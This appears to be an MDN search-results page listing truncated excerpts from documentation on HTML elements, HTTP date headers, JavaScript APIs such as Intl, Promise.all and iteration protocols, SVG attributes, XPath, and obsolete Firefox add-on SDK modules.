..."> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: 50% 50%;</code></figcaption> <div class="container"> <div class="cube pomm"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: right;</code></figcaption> <div class="container"> <div class="cube pomr"> <div class="face f...
...And 4 more matches
Creating a cross-browser video player - Developer guides
<figure id="videocontainer"> <video id="video" controls preload="metadata" poster="img/poster.jpg"> <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg"> <!-- flash fallback --> <object type="application...
.../x-shockwave-flash" data="flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576"> <param name="movie" value="flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" /> <param name="allowfullscreen" value="true" /> <param name="wmode" value="transparent" /> <param name="flashvars" value="controlbar=over&amp;image=img/poster.jpg&amp;file=flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" /> <img alt="tears of steel poster image" src="img/poster.jpg" width="1024" height="428" title="no video playback possible, please download the video from the link below" /> </object> <!-- offer download --> <a href="video/tears-of-steel-battle-clip-medium.mp4">download m...
...p4</a> </video> <figcaption>&copy; blender foundation | <a href="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> even though this player will define its own custom control set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with javascript.
...And 4 more matches
DOM onevent handlers - Developer guides
you can specify an on<…> event handler for a particular event (such as click) for a given object in different ways: adding an html attribute named on<eventtype>: <button onclick="handleclick()">, or by setting the corresponding property from javascript: document.queryselector("button").onclick = function(event) { … }.
... html given this html document: <p>demonstrating quirks of <code>on<em>event</em></code> html attributes on <a onclick="log('click!')">these three words</a>.
... let logelement = document.queryselector('div'); let el = document.queryselector("a"); function log(msg) { logelement.innerhtml += `${msg}<br>` }; function anchoronclick(event) { log("changed onclick handler") }; // original handler log(`element's onclick as a javascript property: <code> ${el.onclick.tostring()} </code>`); //changing handler using .onclick log('<br>changing onclick handler using <strong> onclick property </strong> '); el.onclick = anchoronclick; log(`changed the property to: <code> ${el.onclick.tostring()} </code>`); log(`but the html attribute is unchanged: <code> ${el.getattribute("onclick")} </code><br>`...
...And 4 more matches
<area> - HTML: Hypertext Markup Language
WebHTMLElementarea
referrerpolicy a string indicating which referrer to use when fetching the resource: "no-referrer" meaning that the referer: header will not be sent.
... "no-referrer-when-downgrade" meaning that no referer: header will be sent when navigating to an origin without tls (https).
... "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.
...And 4 more matches
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
note: an empty string value ("") is both the default value, and a fallback value if referrerpolicy is not supported.
... deprecated attributes charset if present, its value must be an ascii case-insensitive match for "utf-8".
... notes scripts without async , defer or type="module" attributes, as well as inline scripts, are fetched and executed immediately, before the browser continues to parse the page.
...And 4 more matches
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
WebHTMLElementstrong
usage notes the <strong> element is for content that is of "strong importance," including things of great seriousness or urgency (such as warnings).
...<b> and <strong> are perhaps one of the most common sources of confusion, causing developers to ask "should i use <b> or <strong>?
... don't they both do the same thing?" not exactly.
...And 4 more matches
HTML: Hypertext Markup Language
WebHTML
"hypertext" refers to links that connect web pages to one another, either within a single website or between websites.
... html uses "markup" to annotate text, images, and other content for display in a web browser.
... html markup includes special "elements" such as <head>, <title>, <body>, <header>, <footer>, <article>, <section>, <p>, <div>, <span>, <img>, <aside>, <audio>, <canvas>, <datalist>, <details>, <embed>, <nav>, <output>, <progress>, <video>, <ul>, <ol>, <li> and many others.
...And 4 more matches
If-Modified-Since - HTTP
header type request header forbidden header name no syntax if-modified-since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
..."04" or "23".
... <month> one of "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec" (case sensitive).
...And 4 more matches
If-Unmodified-Since - HTTP
header type request header forbidden header name no syntax if-unmodified-since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
..."04" or "23".
... <month> one of "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec" (case sensitive).
...And 4 more matches
Last-Modified - HTTP
header type response header forbidden header name no cors-safelisted response header yes syntax last-modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
..."04" or "23".
... <month> one of "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec" (case sensitive).
...And 4 more matches
Unicode property escapes - JavaScript
a character is described by several properties which are either binary ("boolean-like") or non-binary.
... // finding all the letters of a text let story = "it’s the cheshire cat: now i shall have somebody to talk to."; // most explicit form story.match(/\p{general_category=letter}/gu); // it is not mandatory to use the property name for general categories story.match(/\p{letter}/gu); // this is equivalent (short alias): story.match(/\p{l}/gu); // this is also equivalent (conjunction of all the subcategories using short aliases) story.match(/\p{...
... let mixedcharacters = "aεЛ"; // using the canonical "long" name of the script mixedcharacters.match(/\p{script=latin}/u); // a // using a short alias for the script mixedcharacters.match(/\p{script=greek}/u); // ε // using the short name sc for the script property mixedcharacters.match(/\p{sc=cyrillic}/u); // Л for more details, please refer to the unicode specification and the scripts table in the ecmascript s...
...And 4 more matches
Classes - JavaScript
defining classes classes are in fact "special functions", and just as you can define function expressions and function declarations, the class syntax has two components: class expressions and class declarations.
...to declare a class, you use the class keyword with the name of the class ("rectangle" here).
... // unnamed let rectangle = class { constructor(height, width) { this.height = height; this.width = width; } }; console.log(rectangle.name); // output: "rectangle" // named let rectangle = class rectangle2 { constructor(height, width) { this.height = height; this.width = width; } }; console.log(rectangle.name); // output: "rectangle2" note: class expressions are subject to the same hoisting restrictions as described in the class declarations section.
...And 4 more matches
Rest parameters - JavaScript
which will cause all remaining (user supplied) arguments to be placed within a "standard" javascript array.
... only the last parameter can be a "rest parameter".
... function myfun(a, b, ...manymoreargs) { console.log("a", a) console.log("b", b) console.log("manymoreargs", manymoreargs) } myfun("one", "two", "three", "four", "five", "six") // console output: // a, one // b, two // manymoreargs, [three, four, five, six] difference between rest parameters and the arguments object there are three main differences between rest parameters and the arguments object: rest parameters are only the ones that haven't been given a separate name (i.e.
...And 4 more matches
Date.prototype.toLocaleString() - JavaScript
but, if the weekday, year, month, and day properties are all undefined, then year, month, and day are assumed to be "numeric".
... let date = new date(date.utc(2012, 11, 12, 3, 0, 0)); // tolocalestring() without arguments depends on the // implementation, the default locale, and the default time zone console.log(date.tolocalestring()); // → "12/11/2012, 7:00:00 pm" if run in en-us locale with time zone america/los_angeles checking for support for locales and options arguments the locales and options arguments are not supported in all browsers yet.
...nterface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: let date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // formats below assume the local time zone of the locale; // america/los_angeles for the us // us english uses month-day-year order and 12-hour time with am/pm console.log(date.tolocalestring('en-us')); // → "12/19/2012, 7:00:00 pm" // british english uses day-month-year order and 24-hour time without am/pm console.log(date.tolocalestring('en-gb')); // → "20/12/2012 03:00:00" // korean uses year-month-day order and 12-hour time with am/pm console.log(date.tolocalestring('ko-kr')); // → "2012.
...And 4 more matches
Error.prototype.stack - JavaScript
while an object (or array, etc.) would appear in the converted form "[object object]", and as such could not be evaluated back into the actual objects, scalar values could be retrieved (though it may be — it is still possible in firefox 14 — easier to use arguments.callee.caller.arguments, as could the function name be retrieved by arguments.callee.caller.name).
... "undefined" is listed as "(void 0)".
... note that if string arguments were passed in with values such as "@", "(", ")" (or if in file names), you could not easily rely on these for breaking the line into its component parts.
...And 4 more matches
Intl.DateTimeFormat - JavaScript
var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // tolocalestring without arguments depends on the implementation, // the default locale, and the default time zone console.log(new intl.datetimeformat().format(date)); // → "12/19/2012" if run with en-us locale (language) and time zone america/los_angeles (utc-0800) using locales this example shows some of the variations in localized date and time formats.
...n the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // results below use the time zone of america/los_angeles (utc-0800, pacific standard time) // us english uses month-day-year order console.log(new intl.datetimeformat('en-us').format(date)); // → "12/19/2012" // british english uses day-month-year order console.log(new intl.datetimeformat('en-gb').format(date)); // → "19/12/2012" // korean uses year-month-day order console.log(new intl.datetimeformat('ko-kr').format(date)); // → "2012.
...19." // arabic in most arabic speaking countries uses real arabic digits console.log(new intl.datetimeformat('ar-eg').format(date)); // → "١٩‏/١٢‏/٢٠١٢" // for japanese, applications may want to use the japanese calendar, // where 2012 was the year 24 of the heisei era console.log(new intl.datetimeformat('ja-jp-u-ca-japanese').format(date)); // → "24/12/19" // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(new intl.datetimeformat(['ban', 'id']).format(date)); // → "19/12/2012" using options the date and time formats can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0, 200)); // request a weekday along with a long date var op...
...And 4 more matches
Intl.DisplayNames.prototype.resolvedOptions() - JavaScript
style the value provided for this property in the options argument of the constructor or the default value ("long").
... its value is either "long", "short", or "narrow".
... type the value provided for this property in the options argument of the constructor or the default value ("language").
...And 4 more matches
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
numberingsystem the value provided for this properties in the options argument, if present, or the value requested using the unicode extension key "nu" or filled in as a default.
... notation the value provided for this property in the options argument, if present, or "standard filled in as a default.
... compactdisplay the value provided for this property in the options argument, or "short" filled in as a default.
...And 4 more matches
Promise.all() - JavaScript
see the example about "asynchronicity or synchronicity of promise.all" below.
... var p1 = promise.resolve(3); var p2 = 1337; var p3 = new promise((resolve, reject) => { settimeout(() => { resolve("foo"); }, 100); }); promise.all([p1, p2, p3]).then(values => { console.log(values); // [3, 1337, "foo"] }); if the iterable contains non-promise values, they will be ignored, but still counted in the returned promise array value (if the promise is fulfilled): // this will be counted as if the iterable passed is empty, so it gets fulfilled var p = promise.all([1,2,3]); // this will be counte...
...d as if the iterable passed contains only the resolved promise with value "444", so it gets fulfilled var p2 = promise.all([1,2,3, promise.resolve(444)]); // this will be counted as if the iterable passed contains only the rejected promise with value "555", so it gets rejected var p3 = promise.all([1,2,3, promise.reject(555)]); // using settimeout we can execute code after the stack is empty settimeout(function() { console.log(p); console.log(p2); console.log(p3); }); // logs // promise { <state>: "fulfilled", <value>: array[3] } // promise { <state>: "fulfilled", <value>: array[4] } // promise { <state>: "rejected", <reason>: 555 } asynchronicity or synchronicity of promise.all this following example demonstrates the asynchronicity (or synchronicity, if the iterable passed ...
...And 4 more matches
String.prototype.replace() - JavaScript
a number of special replacement patterns are supported; see the "specifying a string as a parameter" section below.
...the arguments supplied to this function are described in the "specifying a function as a parameter" section below.
... specifying a string as a parameter the replacement string can include the following special replacement patterns: pattern inserts $$ inserts a "$".
...And 4 more matches
Symbol - JavaScript
the symbol() function returns a value of type symbol, has static properties that expose several members of built-in objects, has static methods that expose the global symbol registry, and resembles a built-in object class, but is incomplete as a constructor because it does not support the syntax "new symbol()".
...note that symbol("foo") does not coerce the string "foo" into a symbol.
... if you really want to create a symbol wrapper object, you can use the object() function: let sym = symbol('foo') typeof sym // "symbol" let symobj = object(sym) typeof symobj // "object" shared symbols in the global symbol registry the above syntax using the symbol() function will not create a global symbol that is available in your whole codebase.
...And 4 more matches
Iteration protocols - JavaScript
if a non-object value gets returned (such as false or undefined), a typeerror ("iterator.next() returned a non-object value") will be thrown.
... }, [symbol.iterator]: function() { return this; } }; examples using the iteration protocols a string is an example of a built-in iterable object: let somestring = 'hi'; console.log(typeof somestring[symbol.iterator]); // "function" string's default iterator returns the string's code points one by one: let iterator = somestring[symbol.iterator](); console.log(iterator + ''); // "[object string iterator]" console.log(iterator.next()); // { value: "h", done: false } console.log(iterator.next()); // { value: "i", done: false } console.log(iterator.next()); // { value: undefined, done: true } some built-in construc...
...ts—such as the spread syntax—use the same iteration protocol under the hood: console.log([...somestring]); // ["h", "i"] you can redefine the iteration behavior by supplying our own @@iterator: // need to construct a string object explicitly to avoid auto-boxing let somestring = new string('hi'); somestring[symbol.iterator] = function () { return { // this is the iterator object, returning a single element (the string "bye") next: function () { return this._first ?
...And 4 more matches
Operator precedence - JavaScript
code output function echo(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the division operator (/) console.log(echo("left", 6) / echo("right", 2)); evaluating the left side evaluating the right side 3 function echo(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the exponentiation operator (**) console.log(echo("left", 2) ** ec...
...ho("right", 3)); evaluating the left side evaluating the right side 8 the difference in associativity comes into play when there are multiple operators of the same precedence.
... code output function echo(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the division operator (/) console.log(echo("left", 6) / echo("middle", 2) / echo("right", 3)); evaluating the left side evaluating the middle side evaluating the right side 1 function echo(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the exponentiation operator (**) console.log(echo("left", 2) ** echo("middle", 3) ** echo(...
...And 4 more matches
import - JavaScript
the import statement cannot be used in embedded scripts unless such script has a type="module".
... there is also a function-like dynamic import(), which does not require scripts of type="module".
... syntax import defaultexport from "module-name"; import * as name from "module-name"; import { export1 } from "module-name"; import { export1 as alias1 } from "module-name"; import { export1 , export2 } from "module-name"; import { foo , bar } from "module-name/path/to/specific/un-exported/file"; import { export1 , export2 as alias2 , [...] } from "module-name"; import defaultexport, { export1 [ , [...] ] } from "module-name"; import defaultexport, * as name from "module-name"; import "module-name"; var promise = import("module-name"); defaultexport name that will refer to the default export from the module.
...And 4 more matches
<mpadded> - MathML
possible values: any length or an increment/decrement (a length prefixed with "+" or "-") .
...possible values: any length or an increment/decrement (a length prefixed with "+" or "-") .
...possible values: any length or an increment/decrement (a length prefixed with "+" or "-") .
...And 4 more matches
<mtable> - MathML
WebMathMLElementmtable
if you want to use this element as an inline-block, you might want to set <mtable displaystyle="true">...</mtable>.
...align="center 3").
...columnalign="left right center").
...And 4 more matches
Add to Home screen - Progressive web apps (PWAs)
add to home screen (or a2hs for short) is a feature available in modern browsers that allows a user to "install" a web app, ie.
...you'll see fox pictures, but more important, you'll see a "home" icon with a plus (+) icon inside it — this is the "add to home screen" icon displayed for any site that has the necessary features in place.
...(note: in android 8 and higher, a system-level "add to home screen" permission dialog will be shown first.) if you have mobile chrome available, the experience is slightly different; upon loading our site, you'll see an install banner pop up asking whether you want to add this app to your home screen.
...And 4 more matches
Installing and uninstalling web apps - Progressive web apps (PWAs)
by reducing the user experience differential between the web app and native apps on the user's device, you reduce both the loss of any muscle memory they have revolving around the native interface of the device and the sensation of "something isn't quite right" that users can experience when switching between native and web-based apps.
... firefox for android on an android device using firefox, you'll see a "home" icon with a plus (+) icon inside it—this is the "add to home screen" icon displayed for any site that has the necessary features in place.
... tapping this will show a confirmation banner—pressing the banner's big "+ add to home screen" button completes the action, adding the app to the home screen.
...And 4 more matches
alignment-baseline - SVG: Scalable Vector Graphics
before-edge the alignment-point of the object being aligned is aligned with the "before-edge" baseline of the parent text content element.
... text-before-edge the alignment-point of the object being aligned is aligned with the "text-before-edge" baseline of the parent text content element.
... after-edge the alignment-point of the object being aligned is aligned with the "after-edge" baseline of the parent text content element.
...And 4 more matches
end - SVG: Scalable Vector Graphics
WebSVGAttributeend
examples offset example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" end="8s" fill="freeze" /> </rect> <rect x="10" y="60" height="15" width="0"> <animate attribu...
...tetype="xml" attributename="width" to="75" begin="0s" end="6s" fill="freeze" /> </rect> <rect x="10" y="85" height="15" width="0"> <animate attributetype="xml" attributename="width" to="50" begin="0s" end="4s" fill="freeze" /> </rect> <!-- grid --> <text x="10" y="20" text-anchor="middle">0s</text> <line x1="10" y1="25" x2="10" y2="105" stroke="grey" stroke-width=".5" /> <text x="35" y="20" text-anchor="middle">2s</text> <line x1="35" y1="25" x2="35" y2="105" stroke="grey" stroke-width=".5" /> <text x="60" y="20" text-anchor="middle">4s</text> <line x1="60" y1="25" x2="60" y2="105" stroke="grey" stroke-width=".5" /> <text x="85" y="20" text-anchor="middle">6s</text> ...
...<line x1="85" y1="25" x2="85" y2="105" stroke="grey" stroke-width=".5" /> <text x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="105" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="105" x2="110" y2="105" stroke="grey" stroke-width=".5" /> </svg> event example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangle --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="0s" end="endbutton.click" dur="8s" repeatcount="inde...
...And 4 more matches
systemLanguage - SVG: Scalable Vector Graphics
it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases.
... the attribute evaluates to "true" if one of the language tags indicated by user preferences is a case-insensitive match or prefix (followed by a "-") of one of the language tags given in the value of this parameter.
... otherwise it evaluates to "false".
...And 4 more matches
SVG fonts - SVG: Scalable Vector Graphics
<font id="font1" horiz-adv-x="1000"> <font-face font-family="super sans" font-weight="bold" font-style="normal" units-per-em="1000" cap-height="600" x-height="400" ascent="700" descent="300" alphabetic="0" mathematical="350" ideographic="400" hanging="500"> <font-face-src> <font-face-name name="super sans bold"/> </font-face-src> </font-face> <missing-glyph><path d="m0,...
...0h200v200h-200z"/></missing-glyph> <glyph unicode="!" horiz-adv-x="300"><!-- outline of exclam.
...glyph --></glyph> <glyph unicode="@"><!-- outline of @ glyph --></glyph> <!-- more glyphs --> </font> we start with the <font> element.
...And 4 more matches
Introduction to using XPath in JavaScript - XPath
they are explained below in the section "specifying the return type." result: if an existing xpathresult object is specified, it will be reused to return the results.
... <?xml version="1.0"?> <people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" > <person> <name first="george" last="bush" /> <address street="1600 pennsylvania avenue" city="washington" country="usa"/> <phonenumber>202-456-1111</phonenumber> </person> <person> <name first="tony" last="blair" /> <address street="10 downing street" city="london" country="uk"/> <phonenumber>0...
... var req = new xmlhttprequest(); req.open("get", "chrome://yourextension/content/peopledb.xml", false); req.send(null); var xmldoc = req.responsexml; var nsresolver = xmldoc.creatensresolver( xmldoc.ownerdocument == null ?
...And 4 more matches
An Overview - XSLT: Extensible Stylesheet Language Transformations
the mandatory namespace for xslt is "http://www.w3.org/1999/xsl/transform".
...the string "http://www.w3.org/1999/xsl/transform" is a constant that designates the elements so marked as belonging to the set of tags designated by the w3c in the 1999 xslt recommendation.
... another string that is occasionally seen in stylesheets, "http://www.w3.org/tr/wd-xsl", indicates compliance with an earlier working draft (hence the wd) of the w3c document.
...And 4 more matches
indexed-db - Archive of obsolete content
for example: window.indexeddb = window.indexeddb || window.webkitindexeddb || window.mozindexeddb || window.msindexeddb; var request = window.indexeddb.open("mydatabase"); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; because your main add-on code can't access the dom, you can't do this.
... so you can use the indexed-db module to access the same api: var { indexeddb } = require('sdk/indexed-db'); var request = indexeddb.open('mydatabase'); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; most of the objects that implement the indexeddb api, such as idbtransaction, idbopendbrequest, and idbobjectstore, are accessible through the indexeddb object itself.
... here's a complete add-on that adds two buttons to the browser: the button labeled "add" adds the title of the current tab to a database, while the button labeled "list" lists all the titles in the database.
...And 3 more matches
request - Archive of obsolete content
for example, if you're retrieving text content which was encoded as iso-8859-1 (latin 1), it will be given a content type of "utf-8" and certain characters will not display correctly.
... to force the response to be interpreted as latin-1, use overridemimetype: var request = require("sdk/request").request; var quijote = request({ url: "http://www.latin1files.org/quijote.txt", overridemimetype: "text/plain; charset=latin1", oncomplete: function (response) { console.log(response.text); } }); quijote.get(); anonymous boolean if true, the request will be sent without cookies or authentication headers.
... when the server completes the request, the request object emits a "complete" event.
...And 3 more matches
/loader - Archive of obsolete content
it can be loaded as a regular script tag in documents that have system principals (note: this does not appear to work as of 02.2016 due to "use strict" being added to the file): <script type='application/javascript' src='resource://gre/modules/commonjs/toolkit/loader.js'></script> this will expose a single loader object containing all of the api functions described in this document.
...urce://gre/modules/commonjs/toolkit/foo/bar.js 'toolkit/': 'resource://gre/modules/commonjs/toolkit/', // resolve all other non-relative module requirements as follows: // devtools/gcli -> resource:///modules/devtools/gcli.js // panel -> resource:///modules/panel.js '': 'resource:///modules/', } }) all relative url require() statements (those that start with ".") are first resolved relative to the requirer module id and the result of it is then resolved using the paths option.
...in the sdk we call these "pseudo modules".
...And 3 more matches
util/match-pattern - Archive of obsolete content
example pattern example matching urls example non-matching urls "http://example.com/" http://example.com/ http://example.com http://example.com/foo https://example.com/ http://foo.example.com/ wildcards a single asterisk matches any url with an http, https, or ftp scheme.
... example pattern example matching urls example non-matching urls "*" http://example.com/ https://example.com/ ftp://example.com/ http://bar.com/foo.js http://foo.com/ file://example.js resource://me/my-addon/data/file.html data:text/html,hi there a domain name prefixed with an asterisk and dot matches any url of that domain or a subdomain, using any of http, https, ftp.
... example pattern example matching urls example non-matching urls "*.example.com" http://example.com/ http://foo.example.com/ https://example.com/ http://example.com/foo ftp://foo.example.com/ ldap://example.com http://example.foo.com/ a url followed by an asterisk matches that url and any url prefixed with the pattern.
...And 3 more matches
Unit Testing - Archive of obsolete content
now create a new file called "base64.js", and give it the following contents: const { atob, btoa } = require("resource://gre/modules/services.jsm"); exports.atob = a => atob(a); exports.btoa = b => btoa(b); this code exports two functions, which just call the platform's btoa() and atob() functions.
... to show the module in use, edit the "index.js" file as follows: var base64 = require("./base64"); var button = require("sdk/ui/button/action").actionbutton({ id: "base64", label: "base64", icon: "./icon-16.png", onclick: function() { encoded = base64.btoa("hello"); console.log(encoded); decoded = base64.atob(encoded); console.log(decoded); } }); to run this example you'll also have to have an icon file named "icon-16.png" saved in your add-ons "data" directory.
... now "index.js" imports the base64 module and calls its two exported functions.
...And 3 more matches
HTML in XUL for rich tooltips - Archive of obsolete content
this example is what the final xul overlay could look like, assuming a javascript overlay titled overlay.js: <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="contentareacontextmenu"> <menuitem id="htmltip1" label="foo1" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> <menuitem id="htmlt...
...ip2" label="foo2" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> </popup> <popupset id="mainpopupset"> <tooltip id="myhtmltip"> <html:div id="myhtmltipdiv" type="content"/> </tooltip> </popupset> </overlay> insert your version of the following into the javascript overlay.
... var htmltip = { onload: function() { //at any point you can save an html string to a xul attribute for later injection into the tooltip document.getelementbyid("htmltip1").setattribute("tooltiphtml", "<font color='red'>red foo</font>") document.getelementbyid("htmltip2").setattribute("tooltiphtml", "<font color='green'>green foo</font>") }, onmousetooltip: function(event) { //get the html tooltip string assigned to the element that the mouse is over (which will soon launch the tooltip) var txt = event.target.getattribute("tooltiphtml"); // get the html div element that is inside the custom xul tooltip var div = document.getelementbyid("myhtmltipdiv"); //clear the html div element of any prior shown cu...
...And 3 more matches
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
listing 1: xml syntax <elementname someattribute="somevalue"> content </elementname> as shown in listing 1, xml uses elements, which consist of an opening tag, a closing tag, and content.
... as the "extensible" part of xml implies, elements from various xml-based languages such as xhtml and svg can be interspersed in one another as a means to extend the language.
... all elements can carry a "namespace uri" identifier, which is unique for each language.
...And 3 more matches
Session store API - Archive of obsolete content
if your extension wants to be able to restore data when tabs are restored, you can install a listener like this: function myextensionhandlerestore(aevent) { var tab = event.originaltarget; /* the tab being restored */ var uri = tab.linkedbrowser.contentdocument.location; /* the tab's uri */ components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) .logstringmessage("restoring tab: " + uri); }; document.addeventlistener("sstabrestoring", myextensionhandlerestore, false); simply replace the contents of the function myextensionhandlerestore() with whatever you need to do when the tab is restored.
... firefox 3 note in firefox 3 and later, if you need to detect when a tab is about to be closed so that you can update data associated with the tab before it is closed, you can watch for the "sstabclosing" event, which is sent to the tab.
... var ss = components.classes["@mozilla.org/browser/sessionstore;1"] .getservice(components.interfaces.nsisessionstore); var currenttab = gbrowser.selectedtab; var datatoattach = "i want to attach this"; ss.settabvalue(currenttab, "key-name-here", datatoattach); this code sets the value of the key "key-name-here" to datatoattach.
...And 3 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
authors are used to using the alt attribute to create "tooltips" in web browsers.
... the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior.
...for instance, visual browsers frequently display the title as a "tool tip" (a short message that appears when the pointing device pauses over an object).
...And 3 more matches
Using content preferences - Archive of obsolete content
site-specific content preferences are stored in the profile folder, in the database file "content-prefs.sqlite".
...var iosvc = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var prefservice = components.classes["@mozilla.org/content-pref/service;1"] .getservice(components.interfaces.nsicontentprefservice); // create a uri object referencing the site to save a preference for var uri = iosvc.newuri("http://developer.mozilla.org/", null, null); // set the value of the "devmo.somesetting" preference to "foo".
... prefservice.setpref(uri, "devmo.somesetting", "foo"); ...
...And 3 more matches
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
build it it is quite simple to build the control locate the pluginhostctrl directory: open pluginhostctrl.dsp build "win32 debug" or another target open some of the test files under pluginhostctrl\tests in internet explorer to verify the control has built and registered correctly.
... usage insert some html like this into your content: <object classid="clsid:dbb2de32-61f1-4f7f-beb8-a37f5bc24ee2" width="500" height="300"> <param name="type" value="video/quicktime"/> <param name="src" value="http://www.foobar.com/some_movie.mov"/> <!-- custom arguments --> <param name="loop" value="true"/> </object> the classid attribute tells ie to create an instance of the plug-in hosting control, the width and height specify...
...the following <embed> attributes have <param> tag equivalents: <param name="type" ...> is equivalent to typespecifies the mime type of the plug-in.
...And 3 more matches
Getting Started - Archive of obsolete content
list all the skins being supplied by this theme <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> in the code search for the part listed above.
... <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> the blue areas are explained below.
...<rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> finally, in the last section of the contents.rdf file we need to tell mozilla what version this skin is compliant with.
...And 3 more matches
In-Depth - Archive of obsolete content
to cut the pieces out you need to define rectangles in the css file like this: #button-send { -moz-image-region: rect(294px 23px 315px 0px); } #button-send:hover { -moz-image-region: rect(294px 46px 315px 23px); } #button-send:hover:active { -moz-image-region: rect(294px 69px 315px 46px); } #button-send[disabled="true"] { -moz-image-region: rect(294px 92px 315px 69px) !important; } the properties for rect are listed in a clockwise fashion - top, right, bottom, left.
...change: -moz-binding: url("chrome://global/content/bindings/toolbar.xml#toolbar-primary"); to -moz-binding: url("chrome://communicator/skin/toolbar/toolbarbindings.xml#toolbar-primary"); now every toolbar has a spot for an image on the right hand side and we can start adding images, but first we need to make sure we can see the images that we add.
...the id is "navigation-toolbar".
...And 3 more matches
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name.
... in the code, search for all instances of "my_theme" and replace them with the name of your theme.
... <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:editor"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:messenger"/> <rdf:li resource="urn:mozilla:skin:my_theme:navigator"/> save the file and exit the text editor.
...And 3 more matches
Documentation for BiDi Mozilla - Archive of obsolete content
"reordering" of frames is accomplished by setting the appropriate frame coordinates.
... other bidi functionality clipboard: based on bidi options in preferences, the text mode of the clipboard may be "logical", "visual" or "as source".
... in "as source" mode, the text copied into the clipboard is exactly the same (from a bidi point of view) as the original source.
...And 3 more matches
Simple Storage - Archive of obsolete content
the namespace currently lives in the future and must be imported before it is used: jetpack.future.import("storage.simple"); methods sync()as described above, the jetpack.storage.simple object is automatically written to disk, but a feature may force flush by calling jetpack.storage.simple.sync().
